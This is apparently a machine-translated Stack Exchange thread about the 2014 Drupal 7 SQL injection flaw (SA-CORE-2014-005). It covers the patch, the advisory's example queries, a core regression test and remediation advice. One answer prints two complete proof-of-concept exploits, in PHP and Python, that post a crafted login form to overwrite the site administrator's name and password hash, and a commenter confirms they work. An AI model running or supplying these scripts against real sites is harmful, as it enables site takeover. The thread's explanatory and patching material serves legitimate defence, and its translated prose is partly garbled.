Які атаки запобігає патч для SA-CORE-2014-005 (Drupal 7.32)?


33

Читання на https://www.drupal.org/node/2357241 та технічні деталі на https://www.drupal.org/SA-CORE-2014-005 , а також власне виправлення, яке просто:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

Мені цікаво, який саме запит може бути зроблений, що використовує цей подвиг?



Чи можемо ми безпосередньо внести зміни в ядро? database.incфайл?
Хітеш

@hitesh ви можете просто виправити database.incпатч вище (або вручну, очевидно, це невелика зміна), але я також рекомендую промацувати ваш ядро ​​Drupal повністю в цілому.
Чарлі Шліссер

1
Для тих, хто задається питанням не про те, які запити могли б використовувати помилку, а що саме є помилкою, я опублікував пояснення для Programmers.SE .
RomanSt

Навіть після оновлення хтось все ще може розмістити .php файли на моїх сайтах. Я теж перевірив menu_router - нічого підозрілого. Я також запускав аудит сайту та drupalgetaddon
AgA

Відповіді:


18

Компанія, яка виявила помилку, має кілька прикладів з рекомендацій 01/2014: Drupal - перед Auth SQL Injection Unerability :

Витяг:

Функція передбачає, що вона викликається масивом, у якому немає ключів. Приклад:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

Що призводить до цієї заяви SQL

SELECT * from users where name IN (:name_0, :name_1)

з параметрами name_0 = user1і name_1 = user2.

Проблема виникає, якщо в масиві є ключі, які не мають цілих чисел. Приклад:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

це призводить до експлуатаційного запиту SQL:

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

з параметрами: name_test = user2.

Оскільки Drupal використовує PDO, багато запитів дозволено. Таким чином, ця інжекція SQL може використовуватися для вставки довільних даних у базу даних, скидання або зміни існуючих даних або видалення всієї бази даних.

З можливістю ВСТАВКИ довільних даних у базу даних зловмисник може виконувати будь-який код PHP через функції Drupal із зворотними дзвінками.


Дякуємо за обмін, я не зміг знайти це за допомогою пошуку по темі. The Problem occurs, if the array has keys, which are no integers- цей і прикладний запит досить корисні для розуміння цього.
Чарлі Шліссер

19

Що відбувається з 7.32 Перевіряючи модуль тестування. Ви можете бачити, що наступний тест був доданий до 7,32;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

Це має дати деяке подальше розуміння того, як здійснити напад.

Доказ концепції З огляду на те, що минуло більше ніж достатньо часу, і в дикій природі є багато PoC.

Poc №1 - PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc №2 Python - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

Ось блог, який робить хороший розбір: http://www.volexity.com/blog/?p=83


Цей POC не працює ....
Кайл Браунінг

Чи можете ви розмістити POC, за допомогою якого хакер може замінити $ data на array_values ​​($ data) у database.inc?
Ганс Россель

Я можу підтвердити, що це працювало на ванільному Drupal-сайті. Це прикро ...
АйешК

Як сказав @greggles, це рано, але ще не кожен з них отримав пам’ятку. Будь ласка, стримайтеся.
pal4life

Питання - чи потрібне "? Q =", щоб ця атака спрацювала? мій сервер випадково скидає запити з отриманим аргументом q (або Q або% -кодованими еквівалентами). Просто цікаво. Ми зафіксували деякий час тому і не побачили ознак вторгнення чи чогось іншого, але мені цікаво, чи нас пощастило, відкинувши q = запити?
Касапо

16

У дослідників, які знайшли помилку, є підтвердження концепції. Інші також розробили докази концепції. Однак вони цілеспрямовано не публікують їх, щоб спробувати зменшити ймовірність того, що це буде широко використовуватися. Ми повинні поважати це дослідження та стриманість, а не публікувати тут прикладів.

Через деякий час і оновлення сайтів буде дуже цікавим, з академічної точки зору, переглядати код атаки на підтвердження концепції. До цього часу це зайвий ризик і захоплення уваги.

Код у дорадчій справі SektioinEins не є повністю розробленими прикладами того, як це використовувати. Вони детально описують слабкість, але не точно визначають, як реально використати проблему.


Минуло вже кілька тижнів з тих пір питання був випущений і SektionEins опублікував кілька доказ правильності понять , на своєму блозі . Вони досить цікаві порівняно з багатьма іншими доказами концепції, які були розроблені, оскільки вони залишають дуже мало слідів своєї діяльності (наприклад, нічого в таблиці menu_router).


4

Я можу підтвердити, що ця вразливість буде працювати з кожним Drupal 7.31 та нижчим сайтом, не має значення, які модулі активні. Кожна друпальська форма може бути використана для використання цієї вразливості.

Експлуатувати досить просто, тому PoC вже виходить у дикій природі. Мені вдалося атакувати власний сервер і змінювати паролі користувачів як анонімний користувач у чистій програмі Drupal, але можливості нескінченні.

Про цю помилку було відомо майже рік тому за допомогою https://www.drupal.org/node/2146839, але ніхто з Команди з безпеки компанії Drupal не відповів.


Це не було вказано як питання безпеки, чи не так?
Альфред Армстронг

Він був позначений "#security", пріоритетом "мажор", статусом "перегляд потреб" і включав патч, який в основному досягає того, що робить патч у 7.32. Можливо, #перед "безпекою" хтось обмежив його бачити, що інакше буде, або, можливо, в черзі просто забагато питань. Досі дивно, що на це ніхто не відгукнувся.
Чарлі Шліссер

3
Це не було зареєстровано як питання безпеки, тому, ймовірно, група безпеки не бачила цього. Але так, хлопець не знав, що це питання безпеки, так що, мабуть, саме тому.
Беренд де Бур

2
Це було зареєстровано як "запит на функцію", навіть не як помилка. Нові функції не прийняті в стабільній версії ядра Drupal, тому це нормально, що його не дивляться. Проблеми безпеки ніколи не слід публікувати публічно. Існує чітка сторінка, як повідомляти про проблеми безпеки Drupal команді безпеки: drupal.org/node/101494
Hans Rossel

4

Мені було цікаво, як це можна експлуатувати і скільки часу та сил знадобиться? Тому я вирішив встановити старішу версію Drupal 7 на мій localhost та реверсувати цю помилку. Я виявив шокуючу помилку, яка дає кожному, хто має основні знання про HTML / SQL, повний доступ до вашого сайту Drupal.

Мені вдалося виконати ін'єкцію SQL в Drupal 7 за допомогою анонімного користувача менш ніж за 30 хвилин спроб!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

ПРИМІТКА. Це все одно не дозволить вам увійти в систему, оскільки Drupal використовує SHA512 з сіллю, тому фактично не вдається увійти. Я навмисно не вводив тут код, але, очевидно, кожен, хто має небагато знань про Drupal, буде знати, як це подолати і побудувати запит, який дасть вам повний доступ!

Це відкриває питання про те, наскільки безпечний Drupal та хто відповідальний за щось подібне? Мабуть, ця помилка була відома більше року ( https://www.drupal.org/node/2146839 ), але ніхто не реагував на Drupal.org. Випадково чи навмисно? :)


1

Це виправлення вразливості ін'єкцій SQL, коли зловмисні оператори SQL вставляються у поле введення для виконання, і це може призвести, наприклад, до випуску вмісту бази даних. Це виправлення важливо застосувати якомога швидше, особливо тому, що цю вразливість можуть використовувати анонімні користувачі.

Якщо ви не можете негайно оновити команду безпеки, ви можете застосувати цей патч, який забезпечить той самий захист, поки ви не зможете виконати повне оновлення 1 . Також команда з питань безпеки підготувала деякі поширені питання, пов'язані з цим питанням. Переведення вашого сайту в режим обслуговування не допоможе, і очистіть кеш після застосування оновлення або переконайтеся, що ви використовуєте 7.32.

Також слід перевірити, чи не порушено ваш сайт. Деякі сайти вже повідомляють про проблеми. Ось одна публікація в блозі, яка підказує, як перевірити, чи не достатньо оновлення до Drupal 7.32, ваш сайт вже може бути зламаний

Я застосовую виправлення 15 жовтня, і на моїх сайтах уже повідомляється про те, що хтось намагається використати вразливість

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149  
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.